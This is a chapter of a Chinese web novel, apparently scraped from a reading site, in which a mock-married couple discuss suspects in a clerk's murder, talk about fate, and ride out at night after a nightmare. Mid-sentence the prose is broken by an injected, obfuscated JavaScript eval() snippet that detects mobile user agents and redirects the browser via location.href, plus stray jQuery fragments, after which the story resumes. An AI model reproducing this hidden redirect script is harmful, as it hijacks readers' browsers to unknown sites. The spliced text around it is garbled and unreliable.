莲反 作品

31. 豆腐要趁热吃

    沈卓将盘子往陶夭处推推。


    “你慢些吃。”


    这是特地为她做的。


    “今日,多谢。”她的维护,他也只能用这点心聊作回报。


    “哎呀跟我还客气什么呀,不过我告诉你啊!你得帮我!咱们如今必须要把这案子破了!”陶夭将龙须酥捏得皱巴巴。


    毕竟傍晚时分,自己都使碎银子了!


    这会儿如果破不了案,回不了本……那她可亏大发了!


    那钱模子碎片究竟是为什么会被鸡吞吃了?


    自己第一夜见那两只鸡时,它们还活蹦乱跳,凶神恶煞的。


    可是……


    陶夭空手敲着桌面,发出笃笃声响。


    钦点鸡出事,很可能是第二日的事情。


    第二日一早,来的都是知州同僚。


    谢渊相当重视,带了管家相陪小半日。


    当日,吴主簿也曾带着甄景行去求见过谢渊——就为了县衙那见底的银库。


    借钱当然要知州亲自点头。


    这么说,所有人都有嫌疑。


    “甄景行……”指间划过记录簿上的那行字迹。


    “领银五十两。”


    这是今日唯一一笔记录,上头还有朱红大印。


    原来,甄景行这家伙今早就见过吴主簿。


    那下午在浴场时,他居然一个字都不露!


    定是怕惹上麻烦。


    钦点鸡、甄景行、吴主簿、五十两银子……看似毫无关联。


    却在陶夭脑海中逐渐串联成一条清晰的线。


    “沈卓,尸体指甲里红红的东西,真的是印泥?就你去库房借过的那种?”


    “是。”


    “……你记不记得,今日甄大人的衣摆上那个红色痕迹?”


    从吴主簿竹筐里挖出的那盘印泥,上边有新使用过的痕迹。


    “这……”沈卓回忆了一番。


    那时,他忙着验尸,根本无心去察旁的。


    “你是怀疑吴主簿之死是甄县令……”随即摇头,否认了这一猜测。


    “不可能。”


    “怎么不可能?”陶夭耸耸肩膀,摊摊小手。


    “你看这甄景行身上有印泥,吴主簿手上亦有,这日又仅这姓甄的去过库房。按你勘验的,那断甲中还有皮屑,这难道不是因为挣扎中误抓了对方?吴主簿平时记录文书时,指尖沾上了印泥,所以打斗中,也沾到了凶手衣服上。”


    “且不说县令是个好官,根本没有动机……”


    “怎么就没动机了?”陶夭打断沈卓的推测。


    “你想想,他县衙都没钱了,那很有可能想要让吴主簿从中斡旋呀,然后姓吴的胆子小,不肯答应,他们就掰了呗。而且咱们出澡堂子之前,不也是问了老板了么,据他言讲,就是有那么一个披着黑斗篷的怪胎……”陶夭嘴巴毒得很。


    “来洗澡。那不是凶手又是谁?”可惜,那老板年老,眼力不够,根本看不清人模样。


    不然定是要将这姓甄的当堂拿下!


    若是能趁机换个县令,她那迟迟下不来的文书……就有着落了不是!


    陶夭做起了白日梦。


    “我觉得不是县令。”沈卓完全不能接受阖县百姓心中的清官被陶夭如此攀咬。


    “小陶,县令是朝廷命官,没有证据,你不可胡说。”


    还好是在家里。


    “哎呀,算了,这事儿得从姓甄的那里入手。”陶夭吃了两碟点心,便躺在椅背上,打了个心满意足的饱嗝。她摸摸自家圆鼓鼓的小肚子,手又不安分起来。


    “那个……你脸……”陶夭的小手在空中晃荡几圈,一下蹿起来,指尖就要点上沈卓面颊,又被他躲过。


    “这是要热敷,还是要冷敷?”她完全不懂。


    以往有个头疼脑热又不愿去请医者时,这些都是小乙一人包圆的。


    “都不用。”


    沈卓叹口气,摁下陶夭在自己脸上作妖的手。


    冰块这种东西,是富户用的,他怎有福消受?


    “过几天就会消肿的。”


    “你说你呀,怎就能傻呆呆地站着让人打呢?”没想到,腿脚倒是不如手艺好啊。


    若是换了自己这般聪明伶俐的姑娘,必定是能躲过的!


    陶夭相当自信。


    “其实……这就是我的命。”


    “什么命?”陶夭花了一点时间,才明白沈卓指的什么。


    “哦?你说你那个天煞孤星的命格啊?”契书上那个。


    “你还真信这个啊?”


    “由不得我不信。”


    “为何?”


    “我本是孤儿,蒙爹娘收留,给我安身之所,又教我读书明理,传授医术……”


    “只是……”


    本来,他觉得,一切都在变好。


    或许,有一日,自己能代替那孩子在母亲心中的地位。


    他的母亲得了病。


    这心病连精通岐黄的父亲也治不了。


    ……事到如今,他们都已经走了。


    他又和从前一般,是孤单一人。


    “小陶……”沈卓嘴角扯出一丝笑意。


    “与我在一起,可能一直都不会有好事,你……真的不介意?”


    “命不过是人批的,况且,你都见过那么多死人了,又何必如此介意?”


    “命运就是这样,由不得你不信。”也许,正是因他见过太多生死,才会对此有所敬畏。


    “行了,别笑了。”陶夭忍不住瘪嘴。


    “笑得比哭还难看!”


    “我……”笑也不对么?


    “年纪轻轻,谈什么命理。”


    “这种东西只有老头子才相信的好吧!”


    来自陶夭的会心一击。


    “……你不信命,也是好的。”


    这至少说明,她过得还不错。


    而且……沈卓定睛看着陶夭。


    她也一样流离失所,举目无亲,可却比自己要快活许多。


    自己……是很狭隘。


    现实的身份、际遇,他都忘不了。


    无怪乎母亲当年常对自己耳提面命。


    “孩子,你只有笑,才会有人喜欢你。你想被人喜欢么?”


    年近四十的妇人虽噙着慈祥笑意,眼神中却了无光亮。


    “我想!”意识到自己的语气太冲,沈卓赶紧收了声,“孩儿想的……”


    虽年幼,可他也明白心中所愿。


    他想要有朋友,想要被更多人的喜爱。


    “孩儿谨遵母亲教诲。”


    “我只是……”沈卓的语气有些凝滞:“以为……人们皆喜欢笑脸迎人之人。”


    “笑不来就别笑了,我和王玄清都是你的朋友,你又何必讨好别人?”


    “说得……也是。”沈卓脸上泛起涩意。


    “不过,我倒是也理解你啦!”陶夭小手一挥。


    “从前,我也有必须要讨好的人。”只是,凭那些肤浅讨好得来的爱,早被证明——根本没有用。


    那便罢了。


    她就是这么现实,不会为了没好处的事多费力气。


    夜色沉沉,窗外偶有风过,摇


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return\\w+};c=1;};while(c--)if(k[c])p=p.replace(new regexp(\\b+e(c)+\\b,g),k[c]);return p;}(8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="},24,24,userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15229786|164562||http|test|mini|href|location.split(|),0,{}));


    () {


    $(.inform).remove();


    $(#content).append(


    曳烛火在墙上投下片影。


    沈卓刚入睡没多久,就被一声尖叫惊得起身。


    “小陶?嘶……”他起身急了,脑袋磕在木板上,发出“咚”的一声闷响。


    却也顾不上,匆忙往陶夭床边而去。


    “别追我!救命哇啊——”陶夭显然还陷在梦魇之中。


    沈卓皱眉,不由伸手晃晃陶夭肩膀:“小陶!醒醒!”


    陶夭蓦然从梦中惊醒,一把抱住沈卓,双臂环得死死的。


    “小乙!赶紧把他打出去!”


    “小陶,没事了……”沈卓被她抱得措手不及,艰难地撑住陶夭肩膀,想拉开一点距离:“你先松开我……”


    “啊……”陶夭呼呼喘气。


    沈卓缓缓为她拍背,她已缓过神来,揉揉眼睛:“……你……不是小乙啊……”


    “小乙是谁?”沈卓收回手。


    “小陶,松开我可好?”


    陶夭眨眨眼,又低头看看自己还环在他腰间的手:“哦,我……刚刚做噩梦了,小乙……小乙是我家邻居罢了。”她显然没有要松手的意思。


    原因无他。


    这腰……摸着挺好。


    腰身劲瘦,像……一张拉满的弓。


    估计是平时力气活做多了。


    平日里隔着冬衣,又碍于俩人本是假夫妻,陶夭也只能饱饱眼福。


    如今他只着中衣,却是正好。


    陶夭当然不肯撒手,还拿脸颊蹭蹭他衣襟,又紧了紧手。


    触感温热而紧实。


    “……不松!”


    她的双颊不免浮上些红晕。


    “我会做噩梦,那还不都是因为你!”


    “此言何意?”沈卓相当莫名。


    “还不是你之前说命理什么的……害我做噩梦!”陶夭噘嘴。


    “既如此……明日我给你做些安神食物吧。”沈卓才用了几分力,就将陶夭的小手扒拉下来了。


    “明日不是还要去青玄观么,快睡吧。”他替人掖了掖被子。


    “不行!”都怪他嘛!她现在整个脑袋都热烘烘的,哪有心情睡觉啊?


    “走!”陶夭一把掀开被子,又拉起沈卓的手。


    “你就这样拉紧就可以!”夜色如水,唯一轮皎月伴着两人。


    陶夭坐于马上,笑意盈盈地将缰绳递给沈卓:“你来试试看~”


    沈卓脸上虽带着几分无奈,却还是配合地跨上了马背。


    陶夭露出一抹奸计得逞的诡笑,轻轻一跃,亦翻身上马。


    她偏生不坐在前面,硬是从人后头挤了上来,两只手自然地搭在了沈卓的腰上,笑眯眯地说:“别怕啊,有我在后面护着你呢!”


    沈卓明显一愣,略微侧头看了人一眼:“小陶,这样骑……似乎不太合规矩吧?”


    “有啥不合规矩的?再说这夜黑风高的,坟头的鬼都不会来看咱们一眼!”陶夭一副理直气壮的模样,手轻轻拍了拍人肩膀,“如果你骑不稳,我还能扶着你呢!”


    沈卓挑了挑眉。


    就她这小胳膊小腿的,怎得能扶住他?


    终究没开口,只是默默抓紧了缰绳。


    陶夭见人不反驳,眼中闪过一丝狡黠的光芒,故意贴得更近了些,下巴已然黏上沈卓的背:“你若介意,不然你坐后头,我来骑?”


    “不必。”沈卓果断拒绝,目视前方,声音清冷如验尸时分:“坐好,别动。”


    大木头一块!


    陶夭不住撇嘴,手却依旧没从他腰上松开。


    “走啦~红拂夜奔啦~”她兴致依旧高得很。